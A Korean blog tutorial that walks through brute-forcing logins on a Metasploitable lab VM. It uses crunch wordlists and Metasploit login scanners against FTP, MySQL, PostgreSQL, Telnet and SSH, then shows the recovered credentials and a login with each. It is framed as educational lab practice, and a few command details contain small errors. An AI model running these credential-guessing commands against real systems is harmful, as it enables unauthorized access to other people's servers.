본문 바로가기

전공 공부/리눅스 보안 실습

무차별 대입 공격(msfconsole)

728x90

이 글은 교육목적으로 작성하는 것으로 절대 타인의 컴퓨터에 공격을 해서는 안됩니다.

범죄 행위이고 처벌을 받을 수 있습니다.

모든 해킹 행위는 자기 자신에게 책임이 있습니다.

 

제 블로그는 불법적인 해킹 행위를 권장하거나 유도하지 않습니다. 오로지 테스트 및 연습 목적으로 읽어주시면 감사하겠습니다.

 

무차별 대입 공격?

무차별 대입 공격은 말 그대로 특정 암호를 풀기 위해 무작위로 대입하는 공격을 의미합니다. 여기에서는 서버에 무차별로 입력을 해서 뚫어보는 방법을 실습하겠습니다.

 

미리 준비해둔 metasploitable(메타스폴로잇터블)에 무차별 공격 테스트를 해보겠습니다.

 

메타스폴로잇터블은 모의 침투 연습을 하기 위한 운영체제입니다. 보안 설정이 안 되어 있기 때문에 무차별 대입 공격을 연습을 하기 좋습니다.

 

metasploitable vm의 시스템 정보는 이렇습니다.

우분투 8.04 입니다. 참고로 지금 우분투는 LTS 버전이 18.04까지 나왔습니다.

 

 

sudo passwd root

루트 패스워드를 설정해 줍니다

1234 <- 테스트를 위해 간단하게 설정해줍니다

 

mysql -u root -p
use mysql;
update user set password=password('1234') where user='root';
flush privileges;

데이터 베이스 이름이 mysql에 유저 이름을 root 패스워드를 1234로 설정해 줍니다. 

변경 사항을 적용합니다.

 

 

이제 칼리의 crunch를 이용해 무차별 대입 공격을 해보겠습니다.

 

cat /usr/share/crunch/charset.lst 

crunch로 사용할 여러 대입할 캐릭터 셋을 설정할 수 있습니다.

 

 

 

crunch 1 6 -f /usr/share/crunch/charset.lst numeric -o /root/passwords_1_to_6.txt

최소길이 1 최대 길이 6.  -f옵션을 주어 charset.lst을 사용할 수 있습니다. charset.lst에 있는 numeric=[0123.... 9]를 사용해서 파일을 만들면 0에서부터 999999까지 최소 길이 1 ~ 6까지 7MB 크기의 파일이 생깁니다.

 

 

 

실제로 0 부터 999999까지 하는데 대입하는데 오랜 시간이 걸리기 때문에 패스워드 파일을 따로 작성해줍니다.

users.txt 파일에는 공격 대상의 계정 정보가, passwords_test.txt 에는 대입 시도할 패스워드가 들어가 있습니다.

 

 

먼저 metasploitable(메타스폴로잇터블) ftp 서버로 무차별 대입을 해보겠습니다.

 

 

msfconsole
use auxiliary/scanner/ftp/ftp_login
set rhosts 192.168.196.142(공격할 대상의 ip - metasploitable ip)
set user_file /root/users.txt(공격할 유저 id 목록)
set pass_file /root/passwords_text.txt(대입 시도할 패스워드)
set stop_on_success true
set threads 256
run

msfconsole에 있는 ftp_login 스캐너를 활용해 공격할 대상의 ip주소와 대입할 유저 id, passwords를 설정한 뒤 run 시켜줍니다.  만약 성공할 경우 중지됩니다.

 

 

ftp 서버로 id: postgres / pw: postgres로 로그인 성공이 된 것을 볼 수 있습니다.

 

 

실제 패스워드가 맞는지 알 FTP를 사용하여, 얻어낸 아이디와 패스워드를 입력을 하면 접속이 되는 것을 확인할 수 있습니다.

 

 

두 번째로 mysql 서버로 무차별 대입을 해보겠습니다.

msfconsole
use auxiliary/scanner/mysql/ftp_login
set rhosts 192.168.196.142(공격할 대상의 ip - metasploitable ip)
set rport 3306
set user_file /root/users.txt(공격할 유저 id 목록)
set pass_file /root/passwords_text.txt(대입 시도할 패스워드)
set stop_on_success true
set threads 256
run

여러 mysql 스캐너 들을 볼 수 있는데 그중에 mysql_login을 사용하여 무작위 대입을 하겠습니다. 

 

 

id: root / pw: 1234로 나왔습니다. 마찬가지로 접속을 해보겠습니다.

 

mysql -h 192.168.196.142 -P 3306 -u root -p

콘솔에서 위 명령어를 이용해 192.168.196.142:3006로 mysql 접속을 할 수 있게 됩니다. 

 

세 번째로 postgresql서버로 무차별 대입을 해보겠습니다.

msfconsole
use auxiliary/scanner/postgres/postgres_login
set rhosts 192.168.196.142(공격할 대상의 ip - metasploitable ip)
set rport 5432
set user_file /root/users.txt(공격할 유저 id 목록)
set pass_file /root/passwords_text.txt(대입 시도할 패스워드)
set stop_on_success true
set threads 256
run

마찬가지로 접속해 보겠습니다.

 

psql -h 192.168.196.142 -p 5432 -U postgres

id: postgres / pw: postgres / port: 5432로 접속을 시도하면 정상적으로 접속이 됩니다.

 

 

telnet 서버로 무차별 대입을 해보겠습니다.

telnet 은 기본적으로 23번 포트를 사용하기 때문에 따로 포트를 지정해 주지 않았습니다.

위와 같은 방법으로 set을 설정해 준 뒨 패스워드를 대입하면 id: root / pw: 1234라는 값이 나옵니다.

 

 

 

telnet을 사용해 성공적으로 접속이 된 것을 확인할 수 있습니다.

 

ssh 서버로 무차별 대입을 해보겠습니다.

 

ssh서버로 로그인을 해보겠습니다. 기본적으로 ssh는 22번 포트를 쓰기 때문에 굳이 설정을 하지 않았습니다. 

 

ssh 또한 성공적으로 로그인이 되는 것을 확인할 수 있습니다.

728x90